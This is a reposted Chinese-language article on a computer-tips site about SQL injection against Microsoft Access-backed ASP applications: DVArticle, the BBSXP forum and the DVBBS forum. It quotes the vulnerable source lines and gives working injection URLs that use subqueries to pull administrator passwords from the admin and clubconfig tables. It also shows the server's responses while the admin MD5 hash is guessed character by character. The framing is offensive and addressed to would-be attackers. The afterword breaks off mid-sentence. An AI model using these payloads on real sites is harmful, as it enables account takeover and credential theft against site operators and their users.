萬盛學電腦網

 萬盛學電腦網 >> 應用技巧 >> Sql Injection with Access

Sql Injection with Access

>>>Dedicated This Scrap To CaoJing<<< 

很多朋友在ACCESS下進行SQL注入攻擊的時候,總會抱怨:ACCESS功能太弱了,沒有注釋符、不支持多語句查詢...另一方面,很多程序員在使用ACCESS做數據庫寫程序時,往往只對那些對敏感表的操作代碼執行嚴格審查,而其他一些表的操作代碼就很粗糙了。這只能說我們對ACCESS了解太少了,前不久我有幸看到了一個專門的ACCESS站點,其論壇劃分了很多版塊,竟然全是和ACCESS有關的;原來這裡頭的學問還蠻多的,我等只是略懂皮毛而已。小弟愚笨,沒能力寫概覽型的文章,還是通過幾個例子來向大家說明些問題: 

一:動網文章 

涉及版本: 
^^^^^^^^^^ 
動網文章所有版本 

描述: 
^^^^^^ 
動網文章是一款由WWW.ASPSKY.NET開發和維護的源代碼開放的文章管理系統,在國內使用非常廣泛;由於其list.asp文件沒有過濾用戶提交傳遞給SQL查詢的輸入,導致遠程攻擊者可以利用這個漏洞進行SQL注入攻擊。 

具體: 
^^^^^^ 
試看list.asp中的相關代碼: 
15 sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.Nclassid and article.articleID="&request("id") 

id沒有經任何檢查就直接放到SQL查詢中,這點大家都很容易看出來,但說到利用,一些朋友就可是犯難了:這個語句對應的表是 article ,但管理密碼在 admin 表裡面,ACCESS又不能執行多語句查詢,這個bug有什麼用啊?呵呵,我們使用子查詢不就得了,方法好多哦: 

http://www.target.com/asp/darticle/list.asp?id=(select id from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=(select min(id) from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=1 and exists (select id from admin where flag=1) 

http://www.target.com/asp/darticle/list.asp?id=1 and article.articleID  in (select top 1 id from admin where len(password)>1 order by id) 
等等... 

怎麼得到管理員密碼就不用我廢話了吧:) 

二:BBSXP 

涉及版本: 
^^^^^^^^^^ 
BBSXP所有版本 

描述: 
^^^^^^ 
BBSXP是一款由WWW.BBSXP.COM開發和維護的源代碼開放的Asp論壇;由於作者采用的安全防護措施過於簡單,導致整個論壇多個文件存在Sql Injection漏洞,非法用戶可以很快地智能破解任意用戶口令或進行其他惡意攻擊。 

具體: 
^^^^^^ 
前不久我寫了篇關於BBSXP漏洞的文章,作者簡單的把論壇升了級,但仍然沒有全面解決Sql Injection的問題,比如說: 
bank.asp 
------------------------------------------------------------------------------- 
152  sql="select * from user where username='"&request("dxname")&"'" 
153  rs1.Open sql,Conn,1,3 
154  if rs1.eof then 
155  message=message&"
  • 查無此人的賬號!" 
    156  end if 
    ------------------------------------------------------------------------------- 
    呵呵,拿user表中所有用戶密碼沒問題了,但又有人開始嘀咕了:BBSXP後台管理密碼和論壇前台密碼不同,怎麼辦啊? 
    後台密碼存放在 clubconfig 表中,還是和上面利用方法一樣,使用子查詢嘛。 
    還給個例子吧: 
    searchok.asp 
    ------------------------------------------------------------------------------- 
    forumid=Request("forumid") 
    ... 
    21  if Request("forumid")<>"" then 
    22  forumidor="forumid="&forumid&" and" 
    end if 
    ... 
    sql="select * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimit&" order by lasttime Desc  " 
    ... 
    ------------------------------------------------------------------------------- 
    提交類似如下URL(最好寫個小代碼發送這個請求): 
    http://www.target.com/bbsxp165/b ... dminpassword)>1) 
    瞧,我們這不是開始對 clubconfig 表進行查詢了嗎? 

    三:動網論壇(DVBBS)存在嚴重漏洞(補充) 
    這個漏洞我公布後,就有好多朋友給我寫信,有的問怎麼破解MD5(有破解的必要嗎?)、有的要測試代碼、還有的要我做個動畫...同時也有人說後台管理密碼和論壇前台密碼不同,怎麼拿後台的?我猜這些朋友自己沒怎麼思考,思考應該是種很美的享受吧? 
    我補充下怎麼拿後台MD5加密的管理密碼: 

    http://www.target.com/dv/tongji. ... id)%20from%20admin), 
    返回: 
    ------------------------------------------------------------------------------- 
    document.write('□');document.write('9');document.write(' 
    ');document.write('□');document.write('9');document.write(' 
    '); 
    ------------------------------------------------------------------------------- 

    http://www.target.com/dv/tongji. ... ere%20left(password,1)='a'), 
    返回: 
    ------------------------------------------------------------------------------- 
    document.write('□');document.write('');document.write(' 
    ');document.write('□');document.write('');document.write(' 
    '); 
    ------------------------------------------------------------------------------- 
    啊,為空,我們猜錯了,再來: 

    http://www.target.com/dv/tongji. ... ere%20left(password,1)='d'), 
    返回: 
    ------------------------------------------------------------------------------- 
    document.write('□');document.write('9');document.write(' 
    ');document.write('□');document.write('9');document.write(' 
    '); 
    ------------------------------------------------------------------------------- 
    哈哈,這下猜對了。 
    接下來由你繼續,當然,你可以把我以前寫的那個小程序稍微修改後再放到這裡使用! 

    不過我要提醒你,DVBBS後台管理文件是cookie+session雙重認證哦! 

    後記:我到一個原代碼下載站隨機down了一些程序,包括論壇、留言本、文章下載管理...發現都存在類似的問題。其實只要我們
  • copyright © 萬盛學電腦網 all rights reserved